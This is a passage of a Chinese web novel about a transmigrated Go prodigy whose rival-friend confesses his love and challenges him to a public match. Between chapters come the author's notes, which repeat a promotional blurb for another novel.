话落,是电话那头长久的沉默,纪辰新感觉自己的心脏被一只无形的手攥紧,连呼吸都都卡上喉咙,咸涩的恐慌顺着血管蔓延至全身。 为什么不说话? 苏陌为什么不说话? 随意说两句也好啊,问他们聊了什么,开玩笑也行啊,调侃两句多简单的事啊! 只要否认他只要否认 “你都知道了。” 电话那头,少年喉咙干涩,简单直白地回应道。 那些强装的平静,顷刻间全被撕的粉碎。 “她说的都是真的。” 霎时间,纪辰新直接僵在了原地,恐慌如潮水般将他裹挟,仿佛被抽走了所有力气,指尖都冰凉得发颤。 空气仿佛凝固成冰,每一口呼吸都带着针扎似的疼。 苏陌在电话那头将小心翼翼藏起的秘密直接摊开,“十分钟前,她跟我说,遇到了你。” “本来我想,只要你不提,我也就当什么都不知道,我们继续做朋友。” “但是,纪辰新你为什么要试探?” “这是你自己做出来的选择。” “你害怕了对吗?” “晚了!” “还有,我看见你了!”!!! 纪辰新坐在饮品店里,乍然听到这话,瞬间寒从脚起。 他下意识往玻璃窗外望去,却见苏陌此刻正站在马路对面,而视线死死地黏在他骤然失色的脸上。 那一刻,周遭的一切仿佛都成了模糊的背景,只剩下胸腔里沉闷的钝痛,以及那种想逃却迈不开腿,想躲却无处可藏的窒息感。 我一直都把你当成我最好的朋友啊,你怎么能背叛我! 纪辰新感觉自己要碎掉了—— 作者有话说:嘿嘿,兜不住了! 预收《假少爷滚回乡下后全村躺赢》大家收藏一下吧[熊猫头] 文案如下: 朝闻重活一世,再逢真少爷被找回的场景,这次他不哭不闹,麻利的滚回了老家。 落后的松风村,这日,迎来了一个星眸皓齿,光彩照人的后生。 后生大包小包,还带来了一车的物资,里面是各种学习用品。 朝闻被大大小小的孩子们围了一圈又一圈,他们用亮晶晶的眼神望着他,“哥哥,你长的真好看,你是明星吗?” 朝闻浅笑,“我不是明星,这里是我的家。” 从此,朝闻在松风村定居了下来。 他闲时承包了村里的洋桔梗、小雏菊、向日葵等易活鲜切花,做成盲盒,对接城市的白领社群和花店,带动村民参与种植和打包。 他盘活了村里没住人的老宅,改造成乡野风格的民宿,配套柴火灶做饭、自采自摘的模式,吸引周末短途旅游的家庭和人员。 他依托村里的农田、山林、溪流等开设农夫研学堂,吸引城市家长带孩子体验农耕和自然教学。 他甚至还联合村里的竹编、草编、刺绣匠人,打造乡村非遗文创集市,实现线上线下同步销售手工制品。 朝闻的到来,使得松风村脱胎换骨,慢慢从贫困走上了富裕的道路,乡亲们都异常感激他,把他当成了救世主般的存在。 哪家哪户有点什么事,都喜欢找他主持公道! 然而,没人注意的角落,一位锐目似狼,鹰隼试翼的少年正默默注视着一切。 他早在,朝闻回来村子的第一天,就盯上了。 之后,他总会适时的出现在朝闻需要帮忙的时候,帮他解决一切麻烦与棘手的事! 众人都跟他说,离他远点,他是不详之人。 但朝闻记得他,靳骁,他不是不详之人。 他是唯一一个寒门翘楚,泥里飞凰,靠捡废纸,建立了全球领先的包装纸生产基地,成为了一代首富。《 》 100-110 第101章 纪辰新此刻指尖还捏着服务员刚给他上的热饮, 骤然与苏陌对视的他,指节猛地收紧,热饮承受不住他给的压力, 直接从吸管喷射而出,他却浑然未觉。 热饮顺着他的指缝往下淌,粘腻地沾在虎口,他僵在原地,瞳孔一点一点缩在那个逐步向他走过来的身影上。 纪辰新微微抽搐着嘴角,眉峰也不受控制地拧起, 眼里的光一点一点黯淡下去, 他知道此刻除了面对, 已经无路可走了。 短短的几分钟内,他从最初的错愕、茫然、难以置信的刺痛、到了如今的镇定。 “哐当。” 身着黑色羽绒服的少年进门了。 毛领蹭着他线条利落的下颌,冷白的指尖无意识地摩挲着他袖口的拉链。 饮品店里特有的氛围灯投下光晕边缘, 少年往日总是带着疏离矜贵的眉眼, 此刻浸着化不开的偏执。 他就像暗夜里蛰伏的藤曼, 带着势在必得的缠绕感。 “我以为能藏住的。” 他的声音低沉, 带着一丝不易察觉的沙哑。 他的目光牢牢锁在纪辰新的身上, 滚烫得几乎要灼穿空气。 纪辰新握住饮品的手并未松开,滴滴答答的汁水从桌面缓缓滴到了地面, 彰显着他内心远不如表面的平静。 “我可以当你没说过这话, 这样我们还是好朋友。” 纪辰新的声音干涩得像砂纸摩擦, 尾音微微发颤,视线轻轻落在他身上,却并不对视。 “可我不想再装了。” 苏陌往前逼近半步,羽绒服下摆扫过地面,带起细碎的风, 原本总是保持着得体距离的少年,此刻周身的气息变得阴暗且浓烈,像梅雨季里渗进骨缝的潮气,带着不容拒绝的侵略性。 纪辰新下意识往后仰,拉开俩人的距离,只见他猛地抬头,那总是带着温和笑意的眉眼此刻写满了抗拒。 那抗拒里藏着什么,复杂难言,好像不是针对眼前人,而是针对这突如其来、打破一切平衡的情愫。 “我们不是最好的朋友吗?” 他声音陡然拔高,带着难以言喻的不解和愤怒,“你为什么要毁掉它。” “我没有要毁掉它,我们依然是。” 苏陌的长睫再眼下投出一小片阴影,语气里是破釜沉舟的执拗,“我们可以是最亲密无间的爱人,也可以是无话不说的好朋友。” 指尖几乎要触碰到对方的衣角,却又在最后一刻顿住,他指腹微微蜷缩,望着纪辰新的眼睛里有祈求也有不容置喙的坚定。 他压在心底的念头,就像潮水里的水草,疯了似的往上冒,缠得他喘不过气来。 “哪怕你讨厌我,今日的话,我也绝不收回。” “这样吗?”纪辰新喃喃道,眼神微微涣散,“从什么时候开始的?” “还是说,从一开始就是假的,我们之间的友情,存在过吗?” 此刻,他的内心满是质疑,像是心里最珍视的东西被生生打碎,连带着信任也轰然崩塌。 “你怎么会这么想我。” 苏陌身侧的手攥成了拳头,指甲深深嵌进掌心,试图用疼痛感拉回一丝理智,“我们的友情一直都在,从来都不是假的。” “纪辰新你听好了,我欣赏你,所以对你有了好感,我也曾纠结过,但感情这种东西,它不讲理的,越压抑就越浓烈。” “我本来打算一直瞒下去的,但你已经察觉了不是吗。” “你既已察觉,却还想装作不知道,对我又何其残忍。” 他就像被困在执念里的孤魂,唯有对方能够救赎,“是你硬要闯入我的世界的,你耀眼到,让我只能看到你。” “你不告而别的那七年,我找遍了各个地方。” “你是我的朋友,也是我唯一认可的对手。” “我渴望与你对决,渴望与你见面,你早已成为了我的执念。” “不出所望,我终于见到了你,也再次败给了你,你依旧那么强大。” “你以为我的执念就此了结了吗?” “不,它更深了。” “不知从哪一刻起,我已经不满足于与你对决,与你见面了。” “纪辰新,你能懂这种感觉吗?” “我已经将我的心剖开给你看了,你还不懂吗?” 苏陌冷白的脸颊上没有半点温度,唯有眼底翻涌着近乎疯狂的偏执,以及裹着浓烈到令人窒息的爱意。 只见他精准地将纪辰新捏着饮品的手掰开,然后垂眸,安静地抽出纸巾给他擦拭,“怎么这么不小心,手都弄脏了。” “不用你管!”纪辰新猛地抽出手,惊恐地看着他,他像一只被骤雨惊飞的雀鸟,现在任何一点举措都能让他应激。 少年半怔在原地,这还是他第一次被心上人怒吼。 然而,他很快又笑了,声音又低又沉,“好,我不碰你,但你确实要擦一下手,不然会不舒服的。” 他这个态度太诡异了,至少在纪辰新眼里是这样的。 苏陌坦然看着他,缓慢弯腰下去,凑近了他的耳畔,半明半暗的光影里,他的声音像是淬了冰,然而滚烫的呼吸打在他的耳廓上,又像是蛰伏的恶鬼般,“赵言权过来了,你要让他知道我们俩的事吗?” 纪辰新陡然一惊,侧目往窗外望去,赵言权此刻已经从网吧退了机子,正朝他们这边走过来。 是啊,赵言权还不知道这事 要让他知道吗? “我都随你,你想告诉他就告诉他,无论什么样的结果,我都接受。”苏陌声音压低,然而眼底燃烧的偏执更旺了,他嘴角微微勾起,一副无所谓的态度。 纪辰新深深闭了下眼,这事对自己的冲击都很大,若是还被赵言权知道总之,现在还不是合适的时机。 他不想他们三人的友谊就此变的尴尬,再怎么样,也得沉淀一下! 思索完,纪辰新强硬地将面前的人推开,“你以为这就能拿捏我吗?等我消化两天,赵言权那儿我自会去说。” 即便被如此没有好脸色的对待,苏陌依旧笑着,“好,那么现在是不是得装一下了?” “纪辰新,你的眼神真的好凶啊。” * 纪辰新晚饭都没吃就回了学校,因为他实在没法装作若无其事地跟苏陌继续吃饭。 这次赵言权还想多挽留他几句,但苏陌却罕见的制止了,他知道纪辰新心里很乱,再强留下去,怕是会适得其反。 如此,饮品店门口的俩人,面面相觑,再无话可说。 “我也回去了。” 苏陌见人走掉,没了兴趣,便也打算打道回府。 “欸,你今天不是要请吃饭吗?”赵言权一头雾水,“你怎么也走了?” 苏陌背对着他摆了下手,“改日吧,今天没心情了。” 赵言权气急败坏,“怎么回事啊,你们一个两个的,吵架了吗?” “你们刚刚就很奇怪!” “苏陌,你老实说,你是不是欺负纪辰新了,不然他之前为什么一听到你要来,就要走。” 闻言,苏陌止住了脚步,他回过了头,语气意味不明道,“如果那样是欺负的话,那就算是吧。” “什么意思,你说什么呢,你真欺负他了?”赵言权眼看着就要打抱不平。 苏陌冷眼瞧着他,像是想到了什么般,“赵言权,如果真到了那一天,你会帮谁?” 赵言权蹙着眉头,“谁有理就帮谁,但你要是真欺负纪辰新,我肯定帮纪辰新!” “怎么样算是欺负,跟他表白也算是欺负吗?”苏陌来了兴趣,然而眼睛里却写满了迷茫。 “什么?!” 赵言权表情都龟裂了,他上上下下打量着眼前人,“不是吧我没听清,你再说一遍?” “没听清就算了,我走了。”苏陌没有与他深谈的想法。 然而赵言权却像是被炸了毛一般,追了上去,“你跟纪辰新表白了?” “你喜欢他?” “你喜欢男的?” “你是同性恋?” 苏陌眼眸平和地与他对视着,“我不知道我是不是同性恋,但我敢肯定,我只对他一个人有感觉。” 赵言权瞪大了眼睛,震惊道,“所以,你真喜欢他啊?” 少年微微笑了,“可能过两天,或是几天,他会跟你说起这事,到时候你是站他那边,还是我这边?” “如果站我这边,那就请你帮我说点好话,因为我要追他。” “如果站他那边,就请你离我远一点,不然他看到会不高兴的没了我,至少他还有你这个朋友。” 赵言权人都麻了,“非得二选一吗,我就不能保持中立?” “你喜欢他是你的事,别把我扯进来啊,我可以是你们俩各自的朋友!” 苏陌眼神悠悠地瞅着他,“随你,但你确定你真的能保持中立吗?” “要不,我给你指条明路吧,你现在就当不知道,到时候纪辰新跟你说,你就站他那边,可以谴责我,但必要的时候,还是希望你帮我说两句好话。” “朋友一场,你不会连这点都做不到吧?” 他此刻就像是变了一个人般,或者说,这就是他本来的面貌。 冷漠、高傲、不屑一顾,甚至还藏着阴暗的一面。 在那七年里,赵言权本以为自己已经习惯了这样的他。 但现在看来,自从纪辰新回来后,他都伪装的很好呢。 毕竟,苏陌从始至终在乎的,都只有那一个人。 “我可不是两面三刀的人,纪辰新是直男,他不会接受你的。” 赵言权心中压抑着一股怒火,“而我也不一定会帮你。” 苏陌却不以为然,“必死的棋局,难道真的就不能绝处逢生吗?” “赵言权,我们下这么多年棋了,你是知道我的!”—— 作者有话说:暴躁赵言权:啊啊啊啊啊啊啊啊啊,烦死了! 无良作者:所以,你到底要帮谁? 预收《假少爷滚回乡下后全村躺赢》大家收藏一下吧[哈哈大笑][哈哈大笑][哈哈大笑] 文案如下: 朝闻重活一世,再逢真少爷被找回的场景,这次他不哭不闹,麻利的滚回了老家。 落后的松风村,这日,迎来了一个星眸皓齿,光彩照人的后生。 后生大包小包,还带来了一车的物资,里面是各种学习用品。 朝闻被大大小小的孩子们围了一圈又一圈,他们用亮晶晶的眼神望着他,“哥哥,你长的真好看,你是明星吗?” 朝闻浅笑,“我不是明星,这里是我的家。” 从此,朝闻在松风村定居了下来。 他闲时承包了村里的洋桔梗、小雏菊、向日葵等易活鲜切花,做成盲盒,对接城市的白领社群和花店,带动村民参与种植和打包。 他盘活了村里没住人的老宅,改造成乡野风格的民宿,配套柴火灶做饭、自采自摘的模式,吸引周末短途旅游的家庭和人员。 他依托村里的农田、山林、溪流等开设农夫研学堂,吸引城市家长带孩子体验农耕和自然教学。 他甚至还联合村里的竹编、草编、刺绣匠人,打造乡村非遗文创集市,实现线上线下同步销售手工制品。 朝闻的到来,使得松风村脱胎换骨,慢慢从贫困走上了富裕的道路,乡亲们都异常感激他,把他当成了救世主般的存在。 哪家哪户有点什么事,都喜欢找他主持公道! 然而,没人注意的角落,一位锐目似狼,鹰隼试翼的少年正默默注视着一切。 他早在,朝闻回来村子的第一天,就盯上了。 之后,他总会适时的出现在朝闻需要帮忙的时候,帮他解决一切麻烦与棘手的事! 众人都跟他说,离他远点,他是不详之人。 但朝闻记得他,靳骁,他不是不详之人。 他是唯一一个寒门翘楚,泥里飞凰,靠捡废纸,建立了全球领先的包装纸生产基地,成为了一代首富。 第102章 回到宿舍的纪辰新, 还是没有食欲吃饭,于是就去卫生间冲了个热水澡,试图让自己冷静和清醒下来。 【系统, 事情怎么会变成这样?】 纪辰新洗澡途中,发出了灵魂拷问。 系统提起这个也有自己的态度:【谁知道呢,最开始不是你硬要和他当朋友的吗?】 【我早就跟你说了,你们是对手,是劲敌,不是朋友, 但你也不听劝啊, 依旧和他走那么近。】 【那现在发生的这一切, 说实话,宿主你自己要负很大的责任。】 它这一番话说的,直接令纪辰新哑口无言。 好像、貌似、是这样的没错。 他承认当初系统确实有劝过他, 但他不以为然, 完全没料想到事情会发展成如今这副模样。 【你就告诉我, 现在这样会不会影响任务的完成。】 系统心里也没谱儿, 【这种事谁能知道, 男主突然告白,剧情发生了偏离, 不到最后, 谁也说不准。】 纪辰新深深闭了下眼, 【意思就是说,还是有很大可能会影响到任务的完成啰?】 系统不敢吱声,它怕说多错多。 毕竟,不久之前它其实是有察觉到一点苏陌的感情变化的,但那时候它的重心都在任务上, 也就没有过多地去提醒纪辰新,现在这事还真就发生了,它确实挺心虚的。 【如果,我从现在开始听你的,把他当作对手,劲敌,是否能让剧情重回轨道?】 【还有不到两个月,就是他拿到职业九段的时间了。】 【咱们任务完成指日可待,绝不能有任何影响因素导致失败。】 【老子这些年为了这个目标,付出了多少,我想你应该比我清楚。】 纪辰新冲了水的脑子,现在格外清醒,临了临了,绝不能让任务功亏一篑。 系统很高兴他有这样的觉悟,【我当然清楚,宿主,我支持你,我比你更希望任务能圆满完成。】 【不过,我不确定你这样做,会达到怎么样的效果。】 纪辰新用毛巾擦了擦头,【不试一怎么知道。】 【既然我们是因为成为朋友,才让这段感情变质的,那当回对手,将他虐的体无完肤,我就不信他还能保持这样的感情。】 系统举双手赞成:【嗯嗯嗯嗯嗯!】 思及此,纪辰新穿好衣服从卫生间出来,然而迎面就碰上了刚从外边回来的苏衍。 纪辰新轻瞥了他一眼就移开了目光,准备上床休息。 苏衍手里提着打包好的饭菜,突然叫住了他,“喂。” 宿舍没别人,侯杨和张景龙都出去了,所以这声喂,纪辰新知道是叫他的。 他淡淡朝他投了道视线,“干嘛?” “啧,多打包了一份,你要不要?”苏衍的语气不太自然。 纪辰新静静望着他,“不用,你自己吃吧。” “多打包了一份,你听不懂人话吗,我一个人哪吃的了这么多。”苏衍见他不要,直接急了。 纪辰新头都没回就爬上了床,“那是你的事。” “喂,我好心给你打饭,你什么态度啊”苏衍简直抓狂。 纪辰新上了床,丢下一句话,就拉上了床帘,“你先看看你自己是什么态度吧,因为一顿饭,你就要我感恩戴德吗,苏衍你先学着怎么尊重人吧。” “还有,你上个学期不是都装的很好吗,现在怎么不装了?” 深色床帘,隔绝了外面气急败坏的视线。 苏衍火冒三丈道,“我的态度还不好吗,纪辰新,我是有想过要跟你好好相处的,但你因为苏陌的关系,一直将我拒之于千里之外,让人想要亲近都亲近不了。” “苏陌对你有那么重要吗?” 如果换做是以前,纪辰新会毫不犹豫的回答他,有。 但现在,刚发生了那种事,纪辰新心里也不确定了。 好像在苏衍看来,他一直都将苏陌看的挺重要的,事实也确实如此。 他一直都将苏陌视为自己最好的朋友,然而现在这份感情却变了质 不过,没关系,他已经打算将这段关系拨乱反正了。 “你就这么想跟我搞好关系?为了那个劳什子家产还不死心呢?” 纪辰新难得有了与他交谈的想法。 苏衍愣了一下,他也没想到,纪辰新居然会与他探讨起这个问题。 “你别把我想的这么坏,我这次是真心的。” “上学期期末你送我去医院,我觉得你人还不错而已。” “就这样?”纪辰新觉得不可思议。 苏衍点头,“当然也有一些其他原因,但这是最主要的原因。” 纪辰新不忘挖苦他,“但你一开始就是有意图的接近我,你让我如何相信你。” 苏衍嗤了一声,“那我有害你吗?” “只是还没成功罢了,你不就是想利用我,然后设计苏陌”说到这,纪辰新紧急闭了嘴,他现在实在不想提到这个名字。 “不利用你就是了,那是我和他的家事!况且我现在也逐步看清了,家产不家产的,也没那么重要。” 苏衍说这些时,眼底有释然。 “说到底,是我爸妈更想要得到这些,而我只是在他们的驱使下这么做而已,毕竟只有这么做,他们才会开心。” 而他们开心了,他才能获得夸奖,获得更多的,所谓的爱。 但经历上次纪辰新对他毫无芥蒂的相护,他突然觉得没意思了。 他有些受够了,也醒悟了过来。 他们依旧是他的父母,这是无法改变的事实,但他不会再像个乞丐一样在他们身上乞讨了。 他真正想要的是无私的、没有瑕疵的爱。 纪辰新听到这,难得掀开了床帘,“所以,你的意思是,你不打算继续争家产了?” 苏衍挑眉,“我有这么说吗?” “谁会嫌钱多?如果爷爷愿意给我,我当然还是要的。” “我只是有些累了,顺其自然罢了。” “我知道爷爷在担心什么,不过我可以保证,若我拿到家产,绝不会让它落入我父母之手,说到做到。” 纪辰新打量着他,不知道他说的是真是假,“你跟我保证有什么用,你去跟你爷爷说啊。” 苏衍无所谓的摊手,叹气道,“你总质疑我的真心,所以我才告诉你我心里的真正想法,你态度到底能不能好点啊?” 纪辰新没有完全相信他,但也信了五分。 “行吧,你把饭菜放我桌上,我等会儿下来吃,多少钱,我转你。” 苏衍闻言眼睛一亮,意识到他态度松懈,立即道,“没多少,把作业借我抄抄就行了。” 纪辰新没反驳,“都在桌上,自己拿。” 就这样,俩人的关系,算是破了冰,苏衍也心满意足的笑了。 * 自苏陌表白后,就一直没再主动联系过纪辰新了。 纪辰新一开始还纳闷,但很快又放下了心,只要他们能一直这么互不打扰下去,这一切好像也不算太糟糕。 然而事情,并没有在他美好的设想下发展。 那日,纪辰新接到了一个电话,是国际围棋联盟中心打来的,说是将在4月6日,也就是半个月后举行一场围棋个人公开赛,并郑重邀请他参加。 纪辰新本来是不想理会的,但紧接着,对方又提到,国手八段苏陌想要在这次围棋赛上挑战他,顿时,他挂电话的动作迟疑了下来。 主办方非常努力地想要抓住这次的噱头,围棋天才苏陌VS新晋九段纪辰新,到底谁能更胜一筹,这将会是想象不到的收视率,而且各地资方,广告商都会趋之若鹜。 纪辰新还以为自己听错了,于是一字一顿地重复道,“你是说,苏、陌、想要、挑、战、我?” “是的纪先生,苏先生确实是这个意思。” “这是他参加这次比赛的前提条件,所以让我们来邀请你。” 纪辰新简直都要气笑了,他本以为他与苏陌能就此相安无事,没想到这家伙居然在这等着他呢。 “我要是说我不参加呢?” 对方好像早就有了应对之法,“苏先生说,你若是不参加,就是怂了,那他将大肆宣扬和报道。” 纪辰新:“” 这简直就是赤裸裸的挑衅!! “苏先生还说,若是你能赢他,他就答应你收回那天说的话。反之,你若是输了,就要接受他。对了,不参赛也等同认输。” “他说的有点模糊,请问我可以问一下,你们具体有什么矛盾吗,还有接受他是什么意思?” 纪辰新霎时冷笑,一再挑衅我! 看来这次的比赛不参加也得参加了,他是不可能接受的,而苏陌也不可能收回,他们太过了解彼此了。 “你告诉他,我可以参加,但请别忘了信守诺言!” 纪辰新说完这句话,就挂断了电话。 还真是瞌睡来了递枕头啊,既然当不了朋友,就只能做对手了,他一定要将他虐的体无完肤。 本来他还想着,俩人从此不联系,安稳挨到5月17日,现在看来对方成心要搞事,想要他不得安生啊。 系统:【宿主,男主现在的实力不可估量,千万别轻敌。】 【你别看他现在是八段,那是因为他还没参加今年的定段赛所以没升到九段,但不代表他的水平没到九段啊。】 系统说的这个,纪辰新当然懂,但事已至此,不战也得战了,还必须得赢! 不然,他难道要接受苏陌吗? 不! 绝!不!可!能!—— 作者有话说:纪辰新[愤怒]:一直挑衅我! 苏陌:我在追他[猫头] 预收《假少爷滚回乡下后全村躺赢》大家收藏一下吧[撒花][撒花] 文案如下: 朝闻重活一世,再逢真少爷被找回的场景,这次他不哭不闹,麻利的滚回了老家。 落后的松风村,这日,迎来了一个星眸皓齿,光彩照人的后生。 后生大包小包,还带来了一车的物资,里面是各种学习用品。 朝闻被大大小小的孩子们围了一圈又一圈,他们用亮晶晶的眼神望着他,“哥哥,你长的真好看,你是明星吗?” 朝闻浅笑,“我不是明星,这里是我的家。” 从此,朝闻在松风村定居了下来。 他闲时承包了村里的洋桔梗、小雏菊、向日葵等易活鲜切花,做成盲盒,对接城市的白领社群和花店,带动村民参与种植和打包。 他盘活了村里没住人的老宅,改造成乡野风格的民宿,配套柴火灶做饭、自采自摘的模式,吸引周末短途旅游的家庭和人员。 他依托村里的农田、山林、溪流等开设农夫研学堂,吸引城市家长带孩子体验农耕和自然教学。 他甚至还联合村里的竹编、草编、刺绣匠人,打造乡村非遗文创集市,实现线上线下同步销售手工制品。 朝闻的到来,使得松风村脱胎换骨,慢慢从贫困走上了富裕的道路,乡亲们都异常感激他,把他当成了救世主般的存在。 哪家哪户有点什么事,都喜欢找他主持公道! 然而,没人注意的角落,一位锐目似狼,鹰隼试翼的少年正默默注视着一切。 他早在,朝闻回来村子的第一天,就盯上了。 之后,他总会适时的出现在朝闻需要帮忙的时候,帮他解决一切麻烦与棘手的事! 众人都跟他说,离他远点,他是不详之人。 但朝闻记得他,靳骁,他不是不详之人。 他是唯一一个寒门翘楚,泥里飞凰,靠捡废纸,建立了全球领先的包装纸生产基地,成为了一代首富。 第103章 这是一场关乎荣誉与尊严的战争。 纪辰新私以为在自己的专业上被人挑衅, 那必然是不死不休的。 他将付诸自己百分之百的努力,绝不能让苏陌有一丝可乘之机。 为此,他利用课余时间, 再度研究起苏陌以往的棋局来。 然而,刚研究了不到半天,他就发现在过去的七年里,关于苏陌的打法,自己早就已经烂熟于心,好像没有什么需要研究的了。 纪辰新一时, 一整个呆住。 怎么会呢? 苏陌可是男主啊! 怎么会没有需要研究的了? 难道自己已经强大到这个地步了吗! 【系统, 你出来!】 系统老实巴交:【宿主, 并不是没有需要研究的了,而是苏陌自上次拿到八段后,已经半年没出现在公众场合了, 这期间他成长到什么地步, 你我, 甚至任何人都不知道。】 【要不你先研究一下他上次升段赛的视频?】 纪辰新人都是木的, 虽然苏陌没有近期的对弈视频流出来, 但自己世界赛的对弈视频可还热乎着呢。 那是不是就代表着,自己此刻, 或许也正在被苏陌研究着呢? * 某包厢内, 黑白分明的少年正目不转睛地盯着手机, 疑惑道,“他已经接下了比赛,为什么还不给我打电话?” 他对面坐着的是,正喝着咖啡,吃着点心的赵言权。 赵言权眼珠子转了转, 表面镇定,内里心虚道,“急什么,既然他接下了挑战,就说明他应下了你的追求。” “是吗,你确定,你不是在耍我?”苏陌也属于病急乱投医,从未追过人的他,面对赵言权主动打电话过来说给他出招时,想都没想就答应了。 赵言权当时是怎么保证的? 他拍着胸脯,言辞恳切:“辰新兄弟我还不了解吗,一个大直男!我呢,恰好也是,这个世上没人比我更了解他了。” “再说了,他整日抱着那副棋,兴趣爱好就那点,不是下棋就是玩游戏,你玩游戏能赢过他?你都不会玩!所以呢,只能从下棋入手。” “围棋的规则我们都懂,胜负我们也都认。” “男人对输赢是很敏感的。” “只要你赢了他,爱情这不就来了吗。” “这事交给我,你就放心吧。” 他说的条条是道,成功将苏陌说服了,于是俩人就合计了这么一个比赛。 此刻,赵言权面对质疑,摸了摸头,一副无辜样,“我怎么会耍你,耍你对我有什么好处?” 苏陌想想也是,量他也没这个胆子,转而问起了他另一件事,“他还没找过你?” 这个他,指的谁,不言而喻。 赵言权摇头,“没呢,估计觉得很难为情,所以不想说吧。” 苏陌沉思了起来,当日纪辰新可是信誓旦旦地说会将这事告诉赵言权的,怎么过去了这么久都没动静? 如果赵言权不参与进来,该如何给自己说好话,顺便助攻呢。 “这样,你联系一下他,就说约他出去玩游戏。” 苏陌瞬间就下了决定,既然纪辰新不主动说,那他就给赵言权创造机会。 “啊,现在?” “对,现在。” * 刚回到寝室的纪辰新,冷不丁地接到了赵言权的电话。 “喂?” “网吧?哪个网吧啊。” 纪辰新听着电话那头的邀约,心里却在思索着要不要将苏陌跟他告白的事,告诉赵言权。 说实话,真挺难为情的,他们三个本来玩的好好的,现在莫名其妙出了这档子事。 但要是不说,能瞒到什么时候呢。 而且如果赵言权邀请苏陌一起相聚,他又能以什么理由拒绝,总不能回回都肚子疼吧。 免得陷入被动,还是早点说吧,而且当面说最好。 “好,我晚点过来,你先玩。” 纪辰新答应了下来,将桌面收拾了一番后才出去。 半个多小时后,纪辰新来到了赵言权给的那个网吧地址。 罕见的是,赵言权此刻正在网吧门口等他。 只见他挥着手,“你终于到了。” 纪辰新点头,“你怎么没在里面玩,专门等我呢?” “额,没没没,我也刚到。”赵言权嬉笑着,他没忘记苏陌交给他的任务,引导纪辰新说出那些事。 “好阵子没见了,最近在忙什么。” 纪辰新淡淡道,“除了上课练棋,还能忙什么。” 说罢,他就往网吧里面走,赵言权紧跟其后,“那个” 他抓耳挠腮,半天不知道说什么。 此刻,纪辰新给前台交了钱,去到了68号机子。 赵言权连忙让前台给他开69号机子。 “晚上,要不要聚一聚,苏陌说请我们吃饭,因为上次没请成。” 纪辰新刚坐下就听到这么一句,条件反射就拒绝了,“不了,我不想吃,你想吃的话,就自己去吧。” 赵言权愣愣看着他,或许也是没想到他会这么抗拒,“啊,为什么不想吃,你们闹别扭了?” 纪辰新冷漠开机,“如果我告诉你,确实闹别扭了,不,比闹别扭还严重,你会帮谁?” 赵言权简直两眼一黑,为什么又是这个问题! 你们俩活阎王啊。 做什么都要扯到他。 就好像,爸妈要离婚,问他跟谁一样! 说这俩不是天生一对,他都不信。 心里吐槽归吐槽,但他还是坚定地道,“谁有理,我帮谁,反正不管你们俩如何,我都是你们俩的好兄弟,这一点是不会变的。” 得到这个答案,纪辰新淡笑了下,“行吧,知道了。” 赵言权也开了机,“到底什么事啊,你说不说,不说的话,我开始玩游戏了!” 纪辰新瞥了他一眼,嘴巴动了动,却始终说不出口。 最后,他拿出手机,“我直接发给你吧,但先说明,你一定要淡定。” 赵言权内心里已经知道什么事了,他当然淡定。 于是他重重点头,“你放心。” 纪辰新的手指在手机上轻点,【苏陌跟我表白了。】 赵言权看到这行字,眼睛适时瞪大,他真的演的好辛苦,但没办法,还是得硬着头皮演。 “怎么可能!” 他拍案而起,纪辰新赶紧拉着他,“你小声点。” “真的假的?”赵言权被他拉着坐下,低声问道,“什么时候的事啊。” 纪辰新一五一十将事情的来龙去脉全部说了出来。 赵言权开始演震惊,“看不出来啊,他居然是这样的苏陌。” 演完震惊,他的任务算是完成了,“那你打算怎么办。” 纪辰新叹气,“能怎么办,我已经应战了,反正我是不可能让他赢的。” “所以,你不喜欢他?”赵言权试探道。 纪辰新蹙眉,“什么喜不喜欢的,他都挑衅我了,还派人下了战书!” 赵言权突然笑了,“嗯,对,他就是在挑衅,我很高兴你能这么想!” 苏陌啊苏陌,我说了我不一定会帮你的,我要帮也是帮我的好兄弟,纪辰新! 身为直男的我们,一旦被激起胜负欲,那必然是不能善了的,谁让你威胁人。 还有,你说喜欢就喜欢,你想追就追,那也要看我辰新兄弟答不答应! 什么棋局绝处逢生,赢那么多次了,你也该输一次了,这次就是要让你输! 赵言权很难形容自己的复杂心思,但他没有坏心眼,他不希望纪辰新是因为一两句好话就偏颇一个人,他希望他是发自真心的喜欢,想要获得自己的幸福。 将这事聊完,俩人就进入了游戏的乐园。 纪辰新熟练地拉了另一个游戏好友开黑,然而甫一上线,打开话筒,就听到隔壁传来声音。 就在他疑惑之际,听筒里直接传来了隔壁催促的声音。 “快快快,上号上号!” 这 纪辰新恍然转头 他那素昧谋面的游戏搭子 俩人就这么猝不及防地对视了。 “你” “不会吧” “就是他,声音一摸一样。”赵言权再次拍案而起,“你网名是不是叫XXXX。” 这人还是当初纪辰新介绍给他的,纪辰新没空的时候,赵言权也经常和他开黑来着。 剃着寸头的网友眼睛里冒着光,“居然还真是你们啊!” “没想到这辈子还能与网友面基,我的天菩萨。” “我叫林泽,你们也住附近吗?” 纪辰新笑了笑,“我叫纪辰新,在这边读大学。” 赵言权:“我赵言权,帝都人。” “那敢情好啊,以后我们可以约着一起玩。”林泽热情高涨,“这间网吧是我的,以后你们过来,不收你们台费。” “啊,这怎么行,你开这店,也是要是生活的。”纪辰新连忙拒绝。 林泽不以为意,“没事,我还有两三套房子在收租呢,过的可舒坦了,不用担心。” 赵言权给他点了个大拇指,“兄弟,牛逼啊!” “哈哈,赶紧上号,辰新兄弟开阵,咱们大杀四方。”林泽网瘾不比纪辰新小,平常几乎一整天都在线上,纪辰新曾经还以为他泡在了网吧,现在看来,可不就是泡在了网吧吗。 不过也正是因为林泽的热情好客以及开朗大方,纪辰新自此之后,都不去别的网吧了,天天光顾他这里。 俩人除了开黑,就是开黑—— 作者有话说:这本书数据不太好,所以总是动力不足,导致经常断更,我想跟一直在追更的小天使们道个歉,不好意思啦大家!不过,我肯定会完结的,争取12月份或者1月份写完,抱抱笔芯[比心][红心] 第104章 顺利完成了任务的赵言权, 回去路上就主动给苏陌传递了消息。 【他已经将这事告诉我了。】 苏陌回复的速度很快,算的上急迫了,【然后呢?】 赵言权编造的得心应手, 【我当场就给你美言了几句,但辰新兄弟心有芥蒂,所以这事还得慢慢来。】 【我劝你这段时间不要去找他,连见都不要见,不然会影响到他心情的,这心情一影响啊, 小心他厌恶你, 那你们俩之间的感情路就会变的坎坷。】 赵言权打这行字时, 心里想的是,千万别打扰我和好兄弟开黑啊,我们每天玩的多开心啊。 苏陌也不知道听没听进去他的这些话, 不过到底还是顾忌着他提到的厌恶二字。 他不想被纪辰新厌恶。 人啊, 一旦付出真心, 或是太过于看重某个人, 就不敢轻举妄动, 怕适得其反。 